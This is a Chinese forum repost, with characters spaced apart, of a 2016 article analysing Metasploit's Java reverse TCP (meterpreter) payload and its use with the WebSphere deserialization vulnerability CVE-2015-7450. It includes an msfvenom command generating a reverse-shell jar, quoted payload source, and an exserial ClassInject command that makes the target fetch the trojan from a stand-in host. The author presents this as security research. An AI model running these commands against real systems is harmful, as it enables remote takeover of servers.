搜索

[9818] 2016-02-16_Metasploit中的JAVA反向TCP做法的研究

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2016-02-16_Metasploit中的JAVA反向TCP做法的研究 M e t a s p l o i t 中 的 J A V A 反 向 T C P 做 法 的 研 究 T o n y   L e e   F r e e B u f   2 0 1 6 - 0 2 - 1 6 在 研 究 在 研 究 C V E - 2 0 1 5 - 7 4 5 0 这 个 这 个 J A V A 反 序 列 化 漏 洞 时 ， 面 临 着 一 个 问 题 ： 在 反 序 列 化 漏 洞 时 ， 面 临 着 一 个 问 题 ： 在 W e b S p h e r e 中 ， 该 漏 洞 仅 可 以 执 行 命 令 ， 但 是 中 ， 该 漏 洞 仅 可 以 执 行 命 令 ， 但 是 不 能 回 显 执 行 结 果 。 不 能 回 显 执 行 结 果 。 遇 到 这 种 漏 洞 ， 通 常 的 做 法 都 是 利 用 w g e t 或 者 c u r l 这 样 的 命 令 来 执 行 一 个 h t t p 请 求 ， 将 需 要 的 信 息 送 出 。 但 是 在 我 司 ， 这 些 命 令 都 没 法 用 。 原 因 是 我 司 大 量 使 用 的 是 A I X 操 作 系 统 ， 且 是 不 含 有 任 何 功 能 增 强 的 “ 裸 版 ” 。 如 何 在 这 种 环 境 下 回 显 执 行 结 果 ， 就 变 得 非 常 重 要 。 在 G o o g l e 搜 索 的 过 程 中 ， 发 现 了 一 个 漏 洞 利 用 工 程 。 在 该 工 程 的 详 细 介 绍 中 ， 提 到 了 一 种 使 用 m e t a s p l o i t 进 行 s h e l l 反 弹 的 做 法 。 研 究 了 该 做 法 后 ， 对 于 其 设 计 的 巧 妙 深 感 佩 服 ， 遂 介 绍 一 下 给 大 家 。 1 . 什 么 是 什 么 是 m e t a s p l o i t m e t a s p l o i t 是 一 套 开 源 的 漏 洞 利 用 工 具 集 合 和 框 架 。 正 因 为 是 一 个 框 架 ， 每 个 人 都 可 以 提 交 利 用 该 框 架 写 的 漏 洞 利 用 模 块 。 久 而 久 之 ， 该 模 块 库 就 越 来 越 大 ， 最 终 形 成 了 一 套 工 具 库 。 关 于 m e t a s p l o i t 在 各 个 系 统 的 安 装 ， 这 里 不 再 赘 述 。 2 . m e t a s p l o i t 中 的 中 的 J A V A 反 向 反 向 T C P 有 什 么 用 有 什 么 用 通 常 ， 一 个 漏 洞 利 用 ， 可 能 会 遇 到 两 个 讨 厌 的 问 题 ： 如 前 言 中 所 述 ， 我 们 可 以 执 行 某 个 命 令 ， 但 是 没 办 法 感 知 命 令 执 行 的 结 果 , 于 是 就 变 成 一 个 只 能 搞 “ 破 坏 ” ， 但 是 无 法 被 利 用 起 来 的 漏 洞 。 或 者 ， 我 们 通 过 漏 洞 可 以 植 入 木 马 ， 但 是 因 为 有 防 火 墙 ， 我 们 没 办 法 主 动 和 木 马 联 络 ， 因 为 一 般 防 火 墙 的 规 则 都 是 禁 止 入 站 ， 但 是 不 防 止 出 站 。
遇 到 上 述 情 况 ， 就 需 要 反 向 T C P 连 接 。 所 谓 反 向 T C P ， 就 是 由 木 马 主 动 连 接 服 务 器 ， 构 成 一 条 通 路 ， 之 后 再 利 用 该 通 路 来 执 行 命 令 ， 观 察 输 出 。 3 . m e t a s p l o i t 中 如 何 建 立 中 如 何 建 立 J A V A 的 反 向 的 反 向 T C P 连 接 连 接 首 先 ， 我 们 用 以 下 命 令 来 生 成 “ 木 马 ” ： m s f v e n o m   - - p a y l o a d = " j a v a / m e t e r p r e t e r / r e v e r s e _ t c p "   L H O S T = x x x . x x x . x x x . x x x   L P O R T = x x x x   - t   j a r   >   j a v a _ m e t e r p r e t e r _ r e v e r s e _ t c p . j a r 其 中 是 木 马 回 调 的 服 务 器 的 I P ， 是 木 马 回 调 的 服 务 器 的 端 口 。 然 后 我 们 利 用 m e t a s p l o i t 来 建 立 服 务 器 之 后 如 果 木 马 被 执 行 ， 则 会 建 立 起 一 个 连 接 L H O S T L P O R T
最 后 ， 就 可 以 连 接 木 马 来 执 行 命 令 了
4 . m e t a s p l o i t 中 中 J A V A 反 向 反 向 T C P 的 技 术 内 幕 的 技 术 内 幕 首 先 ， 我 必 须 要 对 “ 木 马 ” 作 者 们 表 示 由 衷 的 敬 佩 。 个 人 做 了 近 1 0 年 正 常 项 目 ， 从 来 不 曾 考 虑 的 一 些 技 术 细 节 ， 他 们 全 都 考 虑 了 ， 比 如 ： 后 台 运 行 ， 加 密 代 码 ， 减 小 体 积 ， 动 态 更 新 ， 清 扫 痕 迹 等 等 ， 这 其 中 有 很 多 值 得 学 习 的 地 方 。 就 拿 本 例 来 说 ， 首 先 一 个 值 得 学 习 的 地 方 ， 就 是 J A V A 如 何 后 台 运 行 。 当 我 们 用 命 令 来 执 行 木 马 时 ， 我 习 惯 性 的 等 待 并 观 察 输 出 。 但 是 ， 令 人 匪 夷 所 思 的 是 ， 进 程 直 接 退 出 了 。 这 可 是 一 个 纯 J A V A 程 序 ， 且 并 不 是 通 过 S H E L L 运 行 起 来 的 ， 它 是 如 何 做 到 进 入 后 台 运 行 的 ？ ？ 通 过 分 析 其 源 码 ， 我 们 可 以 看 到 ： P r o c e s s   p r o c   =   R u n t i m e . g e t R u n t i m e ( ) . e x e c ( n e w   S t r i n g [ ] {                                             g e t J r e E x e c u t a b l e ( " j a v a " ) ,                                         " - c l a s s p a t h " ,                                         t e m p D i r . g e t A b s o l u t e P a t h ( ) ,                                         c l a z z . g e t N a m e ( )                         } ) ;                         / /   t h e   i n p u t   s t r e a m s   m i g h t   c a u s e   t h e   c h i l d   p r o c e s s   t o   b l o c k   i f                         / /   w e   d o   n o t   r e a d   o r   c l o s e   t h e m                         p r o c . g e t I n p u t S t r e a m ( ) . c l o s e ( ) ;                         p r o c . g e t E r r o r S t r e a m ( ) . c l o s e ( ) ;                         / /   g i v e   t h e   p r o c e s s   p l e n t y   o f   t i m e   t o   l o a d   t h e   c l a s s   i f   n e e d e d                         T h r e a d . s l e e p ( 2 0 0 0 ) ; j a v a   - j a r   j a v a _ m e t e r p r e t e r _ r e v e r s e _ t c p . j a r
其 利 用 R u n t i m e 接 口 ， 又 启 动 了 一 个 进 程 来 执 行 后 期 的 代 码 ， 并 预 留 了 足 够 的 时 间 等 待 第 二 个 进 程 的 初 始 化 ， 之 后 让 自 己 退 出 。 多 么 巧 妙 的 做 法 。 之 后 新 启 动 的 进 程 ， 会 从 远 程 的 m e t a s p l o i t 服 务 器 获 取 运 行 期 需 要 的 类 和 资 源 ， 从 而 达 到 减 小 自 身 体 积 的 目 的 。 B r a v o , A g a i n . i f   ( u r l . s t a r t s W i t h ( " r a w : " ) )                                             / /   f o r   d e b u g g i n g :   j u s t   u s e   r a w   b y t e s   f r o m   p r o p e r t y   f i l e                                         i n   =   n e w   B y t e A r r a y I n p u t S t r e a m ( u r l . s u b s t r i n g ( 4 ) . g e t B y t e s ( " I S O - 8 8 5 9 - 1 " ) ) ;                                 e l s e   i f   ( u r l . s t a r t s W i t h ( " h t t p s : " ) )   {                                         U R L C o n n e c t i o n   u c   =   n e w   U R L ( u r l ) . o p e n C o n n e c t i o n ( ) ;                                         / /   l o a d   t h e   t r u s t   m a n a g e r   v i a   r e f l e c t i o n ,   t o   a v o i d   l o a d i n g                                         / /   i t   w h e n   i t   i s   n o t   n e e d e d   ( i t   r e q u i r e s   S u n   J a v a   1 . 4 + )                                         C l a s s . f o r N a m e ( " m e t a s p l o i t . P a y l o a d T r u s t M a n a g e r " ) . g e t M e t h o d ( " u s e F o r " ,   n e w   C l a s s [ ] { U R L C o n n e c t i o n . c l a s s } ) . i n v o k e ( n u l l , n e w   O b j e c t [ ] { u c } ) ;                                         i n   =   u c . g e t I n p u t S t r e a m ( ) ;                                 }   e l s e                                         i n   =   n e w   U R L ( u r l ) . o p e n S t r e a m ( ) ;                                 o u t   =   n e w   B y t e A r r a y O u t p u t S t r e a m ( ) ;   最 终 ， 通 过 加 载 到 的 类 ， 建 立 和 m e t a s p l o i t 的 连 接 并 执 行 相 关 命 令 。 5 . 在 反 序 列 化 中 的 应 用 在 反 序 列 化 中 的 应 用 基 本 上 ， 就 是 利 用 这 个 漏 洞 利 用 工 程 ， 将 我 们 的 木 马 上 传 到 W e b S p h e r e ， 并 开 始 起 “ 发 酵 ” 过 程 。 有 一 点 需 要 注 意 ， 该 命 令 中 木 马 j a r 包 参 数 是 一 个 u r l 地 址 ： j a v a   - j a r   e x s e r i a l . j a r   C l a s s I n j e c t   " h t t p : / / m y s e r v e r . c o m / j a v a _ m e t e r p r e t e r _ r e v e r s e _ t c p . j a r "   " m e t a s p l o i t . P a y l o a d "   >   d e m o 3 . s e r 为 什 么 是 这 样 呢 ？ 因 为 想 利 用 J A V A 反 序 列 化 漏 洞 直 接 上 传 文 件 是 非 常 困 难 的 ， 因 此 ， 我 们 需 要 把 “ 木 马 ” 放 在 一 个 服 务 器 上 ， 让 W e b S p h e r e 来 取 。 当 然 ， 用 A p a c h e 就 可 以 达 成 目 的 了 。 通 过 这 一 系 列 的 操 作 ， 就 可 以 反 向 执 行 命 令 了 。 本 文 的 目 的 ， 并 不 是 手 把 手 教 你 如 何 攻 击 。 而 是 分 析 其 工 具 背 后 的 做 法 ， 涨 涨 见 识 。 * 首 发 地 址 ： t o n y l e e . n a m e   原 文 作 者 T o n y   L e e 投 递
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理